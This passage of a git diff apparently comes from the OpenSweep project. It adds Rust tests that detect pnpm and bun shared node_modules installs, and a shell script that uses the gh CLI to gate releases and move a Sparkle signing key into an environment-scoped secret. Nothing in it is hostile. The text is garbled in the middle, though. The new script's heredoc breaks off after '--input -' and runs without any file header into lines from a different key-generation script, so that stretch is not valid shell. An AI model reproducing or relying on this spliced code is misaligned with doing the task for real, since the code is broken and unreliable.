fs::hard_link(store.join("f"), tree.join("f")).unwrap(); + assert!(usage(&tree).shared); + } + + #[test] + fn pnpm_and_bun_installs_are_shared() { + let tmp = tempfile::tempdir().unwrap(); + let nm = tmp.path().join("node_modules"); + fs::create_dir_all(nm.join("left-pad")).unwrap(); + assert!(!usage(&nm).shared, "npm copies files"); + fs::write(tmp.path().join("bun.lock"), "{}").unwrap(); + assert!(usage(&nm).shared); + fs::remove_file(tmp.path().join("bun.lock")).unwrap(); + fs::create_dir_all(nm.join(".pnpm")).unwrap(); + assert!(usage(&nm).shared); + } } diff --git a/scripts/protect-releases.sh b/scripts/protect-releases.sh new file mode 100755 index 0000000..282024e --- /dev/null +++ b/scripts/protect-releases.sh @@ -0,0 +1,33 @@ +#!/bin/bash +# SPDX-License-Identifier: Apache-2.0 +# +# One time, by the owner (docs/RELEASING.md): the release job waits for your +# approval and runs only for v* tags, only an admin can create, move or +# delete v* tags, and the Sparkle key moves into the release environment. +# Safe to run again. +set -euo pipefail +cd "$(dirname "$0")/.." +REPO=Finjineersdev/OpenSweep +ME=$(gh api user --jq .id) + +gh api -X PUT "repos/$REPO/environments/release" --jq '"environment: " + .name' --input - </dev/null || true; rm -rf "$TMP"' EXIT "$BIN/generate_keys" --account "$ACCOUNT" -x "$TMP/key" >/dev/null -gh secret set SPARKLE_PRIVATE_KEY -R "$REPO" < "$TMP/key" +# Only the release environment can read it (scripts/protect-releases.sh). +gh secret set SPARKLE_PRIVATE_KEY --env release -R "$REPO" < "$TMP/key" +gh secret delete SPARKLE_PRIVATE_KEY -R "$REPO" 2>/dev/null || true gh variable set SPARKLE_PUBLIC_KEY -R "$REPO" --body "$PUBLIC" echo "Done. Public key: $PUBLIC"